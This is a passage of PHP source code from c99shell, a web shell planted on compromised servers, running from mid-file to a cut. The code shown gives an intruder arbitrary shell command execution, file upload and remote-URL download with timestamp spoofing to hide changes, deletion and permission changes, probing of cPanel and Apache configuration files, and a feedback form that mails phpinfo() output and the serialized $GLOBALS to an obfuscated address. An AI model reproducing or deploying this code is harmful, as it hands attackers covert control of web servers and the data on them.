1524  }
1525  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
1526  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></font></b><br>";}
1527  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
1528  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/etc/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
1529 }
1530 if ($act == "mkfile")
1531 {
1532  if ($mkfile != $d)
1533  {
1534   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
1535   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
1536   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
1537  }
1538  else {$act = $dspact = "ls";}
1539 }
1540 if ($act == "encoder")
1541 {
1542  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" method=\"POST\"><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
1543  foreach(array("md5","crypt","sha1","crc32") as $v)
1544  {
1545   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
1546  }
1547  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
1548  <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urldecode($encoder_input)."\" readonly>
1549  <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
1550  echo "<center>base64_decode - ";
1551  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
1552  else
1553  {
1554   $debase64 = base64_decode($encoder_input);
1555   $debase64 = str_replace("&#92;&#48;","[0]",$debase64);
1556   $a = explode("\r\n",$debase64);
1557   $rows = count($a);
1558   $debase64 = htmlspecialchars($debase64);
1559   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
1560   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
1561   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
1562  }
1563  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
1564  $c = strlen($encoder_input);
1565  for($i=0;$i<$c;$i++)
1566  {
1567   $hex = dechex(ord($encoder_input[$i]));
1568   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
1569   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
1570  }
1571  echo "\" readonly><br></center></form>";
1572 }
1573 if ($act == "fsbuff")
1574 {
1575  $arr_copy = $sess_data["copy"];
1576  $arr_cut = $sess_data["cut"];
1577  $arr = array_merge($arr_copy,$arr_cut);
1578  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
1579  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";}
1580 }
1581 if ($act == "selfremove")
1582 {
1583  if (($submit == $rndcode) and ($submit != ""))
1584  {
1585   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; }
1586   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
1587  }
1588  else
1589  {
1590   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
1591   $rnd = rand(0,9).rand(0,9).rand(0,9);
1592   echo "<form method=\"POST\"><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=\"hidden\" name=\"rndcode\" value=\"".$rnd."\"><input type=\"text\" name=\"submit\">&nbsp;<input type=\"submit\" value=\"YES\"></form>";
1593  }
1594 }
1595 if ($act == "feedback")
1596 {
1597  $suppmail = base64_decode("Yzk5c2hlbGxAaW5ib3gucnU=");
1598  if (!empty($submit))
1599  {
1600   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
1601   $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
1602   if (!empty($fdbk_ref))
1603   {
1604    $tmp = @ob_get_contents();
1605    ob_clean();
1606    phpinfo();
1607    $phpinfo = base64_encode(ob_get_contents());
1608    ob_clean();
1609    echo $tmp;
1610    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
1611   }
1612   mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
1613   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
1614  }
1615  else {echo "<form method=\"POST\"><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
1616 }
1617 if ($act == "search")
1618 {
1619  echo "<b>Search in file-system:</b><br>";
1620  if (empty($search_in)) {$search_in = $d;}
1621  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
1622  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
1623  if (!empty($submit))
1624  {
1625   $found = array();
1626   $found_d = 0;
1627   $found_f = 0;
1628   $search_i_f = 0;
1629   $search_i_d = 0;
1630   $a = array
1631   (
1632    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
1633    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
1634    "text_wwo"=>$search_text_wwo,
1635    "text_cs"=>$search_text_cs,
1636    "text_not"=>$search_text_not
1637   );
1638   $searchtime = getmicrotime();
1639   $in = array_unique(explode(";",$search_in));
1640   foreach($in as $v) {c99fsearch($v);}
1641   $searchtime = round(getmicrotime()-$searchtime,4);
1642   if (count($found) == 0) {echo "<b>No files found!</b>";}
1643   else
1644   {
1645    $ls_arr = $found;
1646    $disp_fullpath = true;
1647    $act = "ls";
1648   }
1649  }
1650  echo "<form method=\"POST\">
1651 <input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><input type=\"hidden\" name=\"act\" value=\"".$dspact."\">
1652 <b>Search for (file/directory name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds($search_name_regexp,1," checked")."> - regexp
1653 <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
1654 <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
1655 <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds($search_text_regexp,1," checked")."> - regexp
1656 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds($search_text_wwo,1," checked")."> - <u>w</u>hole words only
1657 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds($search_text_cs,1," checked")."> - cas<u>e</u> sensitive
1658 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds($search_text_not,1," checked")."> - find files <u>NOT</u> containing the text
1659 <br><br><input type=\"submit\" name=\"submit\" value=\"Search\"></form>";
1660  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
1661 }
1662 if ($act == "chmod")
1663 {
1664  $mode = fileperms($d.$f);
1665  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
1666  else
1667  {
1668   $form = true;
1669   if ($chmod_submit)
1670   {
1671    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
1672    if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";}
1673    else {$err = "Can't chmod to ".$octet.".";}
1674   }
1675   if ($form)
1676   {
1677    $perms = parse_perms($mode);
1678    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".htmlspecialchars($surl)."\" method=\"POST\"><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
1679   }
1680  }
1681 }
1682 if ($act == "upload")
1683 {
1684  $uploadmess = "";
1685  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
1686  if (empty($uploadpath)) {$uploadpath = $d;}
1687  elseif (substr($uploadpath,-1,1) != "/") {$uploadpath .= "/";}
1688  if (!empty($submit))
1689  {
1690   global $HTTP_POST_FILES;
1691   $uploadfile = $HTTP_POST_FILES["uploadfile"];
1692   if (!empty($uploadfile["tmp_name"]))
1693   {
1694    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
1695    else {$destin = $userfilename;}
1696    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
1697   }
1698   elseif (!empty($uploadurl))
1699   {
1700    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
1701    else
1702    {
1703     $destin = explode("/",$destin);
1704     $destin = $destin[count($destin)-1];
1705     if (empty($destin))
1706     {
1707      $i = 0;
1708      $b = "";
1709      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
1710    }
1711    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
1712    else
1713    {
1714     $st = getmicrotime();
1715     $content = @file_get_contents($uploadurl);
1716     $dt = round(getmicrotime()-$st,4);
1717     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
1718     else
1719     {
1720      if ($filestealth) {$stat = stat($uploadpath.$destin);}
1721      $fp = fopen($uploadpath.$destin,"w");
1722      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
1723      else
1724      {
1725       fwrite($fp,$content,strlen($content));
1726       fclose($fp);
1727       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
1728      }
1729     }
1730    }
1731   }
1732  }
1733  if ($miniform)
1734  {
1735   echo "<b>".$uploadmess."</b>";
1736   $act = "ls";
1737  }
1738  else
1739  {
1740   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=\"POST\">
1741 Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
1742 Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
1743 Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
1744 File-name (auto-fill): <input name=uploadfilename size=25><br><br>
1745 <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
1746 <input type=\"submit\" name=\"submit\" value=\"Upload\">
1747 </form>";
1748  }
1749 }
1750 if ($act == "delete")
1751 {
1752  $delerr = "";
1753  foreach ($actbox as $v)
1754  {
1755   $result = false;
1756   $result = fs_rmobj($v);
1757   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
1758  }
1759  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
1760  $act = "ls";
1761 }
1762 if (!$usefsbuff)
1763 {
1764  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
1765 }
1766 else
1767 {
1768  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
1769  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
1770  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
1771  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
1772  elseif ($actpastebuff)
1773  {
1774   $psterr = "";
1775   foreach($sess_data["copy"] as $k=>$v)
1776   {
1777    $to = $d.basename($v);
1778    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1779    if ($copy_unset) {unset($sess_data["copy"][$k]);}
1780   }
1781   foreach($sess_data["cut"] as $k=>$v)
1782   {
1783    $to = $d.basename($v);
1784    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1785    unset($sess_data["cut"][$k]);
1786   }
1787   c99_sess_put($sess_data);
1788   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
1789   $act = "ls";
1790  }
1791  elseif ($actarcbuff)
1792  {
1793   $arcerr = "";
1794   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
1795   else {$ext = ".tar.gz";}
1796   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
1797   $cmdline .= " ".$actarcbuff_path;
1798   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
1799   foreach($objects as $v)
1800   {
1801    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
1802    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
1803    if (is_dir($v))
1804    {
1805     if (substr($v,-1,1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
1806     $v .= "*";
1807    }
1808    $cmdline .= " ".$v;
1809   }
1810   $tmp = realpath(".");
1811   chdir($d);
1812   $ret = myshellexec($cmdline);
1813   chdir($tmp);
1814   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
1815   $ret = str_replace("\r\n","\n",$ret);
1816   $ret = explode("\n",$ret);
1817   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
1818   foreach($sess_data["cut"] as $k=>$v)
1819   {
1820    if (in_array($v,$ret)) {fs_rmobj($v);}
1821    unset($sess_data["cut"][$k]);
1822   }
1823   c99_sess_put($sess_data);
1824   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
1825   $act = "ls";
1826  }
1827  elseif ($actpastebuff)
1828  {
1829   $psterr = "";
1830   foreach($sess_data["copy"] as $k=>$v)
1831   {
1832    $to = $d.basename($v);
1833    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1834    if ($copy_unset) {unset($sess_data["copy"][$k]);}
1835   }
1836   foreach($sess_data["cut"] as $k=>$v)
1837   {
1838    $to = $d.basename($v);
1839    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1840    unset($sess_data["cut"][$k]);
1841   }
1842   c99_sess_put($sess_data);
1843   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
1844   $act = "ls";
1845  }
1846 }
1847 if ($act == "cmd")
1848 {
1849 if (trim($cmd) == "ps -aux") {$act = "ps_aux";}
1850 else
1851 {
1852  @chdir($chdir);
1853  if (!empty($submit))
1854  {
1855   echo "<b>Result of execution this command</b>:<br>";
1856   $olddir = realpath(".");
1857   @chdir($d);
1858   $ret = myshellexec($cmd);
1859   $ret = convert_cyr_string($ret,"d","w");
1860   if ($cmd_txt)
1861   {
1862    $rows = count(explode("\r\n",$ret))+1;
1863    if ($rows < 10) {$rows = 10;}
1864    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
1865   }
1866   else {echo $ret."<br>";}
1867   @chdir($olddir);
1868  }
1869  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}}
1870  echo "<form action=\"".$surl."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
1871 }
1872 }
1873 if ($act == "ls")
1874 {
1875  if (count($ls_arr) > 0) {$list = $ls_arr;}
1876  else
1877  {
1878   $list = array();
1879   if ($h = @opendir($d))
1880   {
1881    while (($o = readdir($h)) !== false) {$list[] = $d.$o;}
1882    closedir($h);
1883   }
1884  }
1885  if (count($list) == 0) {echo "<center><b>Can't open directory (".htmlspecialchars($d).")!</b></center>";}
1886  else
1887  {
1888   //Building array
1889   $objects = array();
1890   $vd = "f"; //Viewing mode
1891   if ($vd == "f")
1892   {
1893    $objects["head"] = array();
1894    $objects["dirs"] = array();
1895    $objects["links"] = array();
1896    $objects["files"] = array();
1897    foreach ($list as $v)
1898    {
1899     $o = basename($v);
1900     $row = array();
1901     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
1902     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
1903     elseif (is_dir($v))
1904     {
1905      if (is_link($v)) {$type = "LINK";}
1906      else {$type = "DIR";}
1907      $row[] = $v;
1908      $row[] = $type;
1909     }
1910     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
1911     $row[] = filemtime($v);
1912     if (!$win)
1913     {
1914      $ow = @posix_getpwuid(fileowner($v));
1915      $gr = @posix_getgrgid(filegroup($v));
1916      $row[] = $ow["name"]."/".$gr["name"];
1917      $row[] = fileowner($v)."/".filegroup($v);
1918     }
1919     $row[] = fileperms($v);
1920     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
1921     elseif (is_link($v)) {$objects["links"][] = $row;}
1922     elseif (is_dir($v)) {$objects["dirs"][] = $row;}
1923     elseif (is_file($v)) {$objects["files"][] = $row;}
1924    }
1925    $row = array();
1926    $row[] = "<b>Name</b>";
1927    $row[] = "<b>Size</b>";
1928    $row[] = "<b>Modify</b>";
1929    if (!$win)
1930   {$row[] = "<b>Owner/Group</b>";}
1931    $row[] = "<b>Perms</b>";
1932    $row[] = "<b>Action</b>";
1933    $k = $sort[0];
1934    if (!is_numeric($k)) {$k = $sort[0] = 0;}
1935    if ($sort[1] != "a") {$sort[1] = "d";}
1936    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($sort[1] == "a"?"d":"a")."\">";
1937    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($sort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
1938    $row[$k] .= $y;
1939    for($i=0;$i<count($row)-1;$i++)
1940    {
1941     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$sort[1]."\">".$row[$i]."</a>";}
1942    }
1943    $v = $sort[0];
1944    usort($objects["dirs"], "tabsort");
1945    usort($objects["links"], "tabsort");
1946    usort($objects["files"], "tabsort");
1947    if ($sort[1] == "d")
1948    {
1949     $objects["dirs"] = array_reverse($objects[dirs]);
1950     $objects["files"] = array_reverse($objects[files]);
1951    }
1952    $objects = array_merge($objects["head"],$objects["dirs"],$objects["links"],$objects["files"]);
1953    $tab = array();
1954    $tab["cols"] = array($row);
1955    $tab["head"] = array();
1956    $tab["dirs"] = array();
1957    $tab["links"] = array();
1958    $tab["files"] = array();
1959    foreach ($objects as $a)
1960    {
1961     $v = $a[0];
1962     $o = basename($v);
1963     $dir = dirname($v);
1964     if ($disp_fullpath) {$disppath = $v;}
1965     else {$disppath = $o;}
1966     $disppath = str2mini($disppath,60);
1967     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
1968     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
1969     foreach ($regxp_highlight as $r)
1970     {
1971      if (ereg($r[0],$o))
1972      {
1973       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command"; exit;}
1974       else
1975       {
1976        $r[1] = round($r[1]);
1977        $isdir = is_dir($v);
1978        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
1979        {
1980         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
1981         $disppath = $r[2].$disppath.$r[3];
1982         if ($r[4]) {break;}
1983        }
1984       }
1985      }
1986     }
1987     $uo = urlencode($o);
1988     $ud = urlencode($dir);
1989     $uv = urlencode($v);
1990     $row = array();
1991     if ($o == ".")
1992     {
1993      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."\">".$o."</a>";
1994      $row[] = "LINK";
1995     }
1996     elseif ($o == "..")
1997     {
1998      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
1999      $row[] = "LINK";
2000     }
2001     elseif (is_dir($v))
2002     {
2003      if (is_link($v))
2004      {
2005       $disppath .= " => ".readlink($v);
2006       $type = "LINK";
2007       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
2008      }
2009      else
2010      {
2011       $type = "DIR";
2012       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
2013       }
2014      $row[] = $type;
2015     }
2016     elseif(is_file($v))
2017     {
2018      $ext = explode(".",$o);
2019      $c = count($ext)-1;
2020      $ext = $ext[$c];
2021      $ext = strtolower($ext);
2022      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
2023      $row[] = view_size($a[1]);
2024     }
2025     $row[] = date("d.m.Y H:i:s",$a[2]);
2026     if (!$win) {$row[] = $a[3];}
2027     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
2028     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";}
2029     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" id=\"ls_dir[]\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";}
2030     if (($o == ".") or ($o == "..")) {$tab[head][] = $row;}
2031     elseif (is_link($v)) {$tab["links"][] = $row;}
2032     elseif (is_dir($v)) {$tab["dirs"][] = $row;}
2033     elseif (is_file($v)) {$tab["files"][] = $row;}
2034    }
2035   }
2036   //Compiling table
2037   $table = array_merge($tab["cols"],$tab["head"],$tab["dirs"],$tab["links"],$tab["files"]);
2038   echo "<center><b>Listing directory (".count($tab["files"])." files and ".(count($tab["dirs"])+count($tab["links"]))." directories):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0><form method=\"POST\">";
2039   foreach($table as $row)
2040   {
2041    echo "<tr>\r\n";
2042    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
2043    echo "</tr>\r\n";
2044   }
2045   echo "</table><hr size=\"1\" noshade><p align=\"right\"><b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
2046   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
2047   {
2048    echo "<input type=\"submit\" name=\"actarcbuff\" value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
2049   }
2050   echo "<select name=\"act\"><option value=\"".$act."\">With selected:</option>";
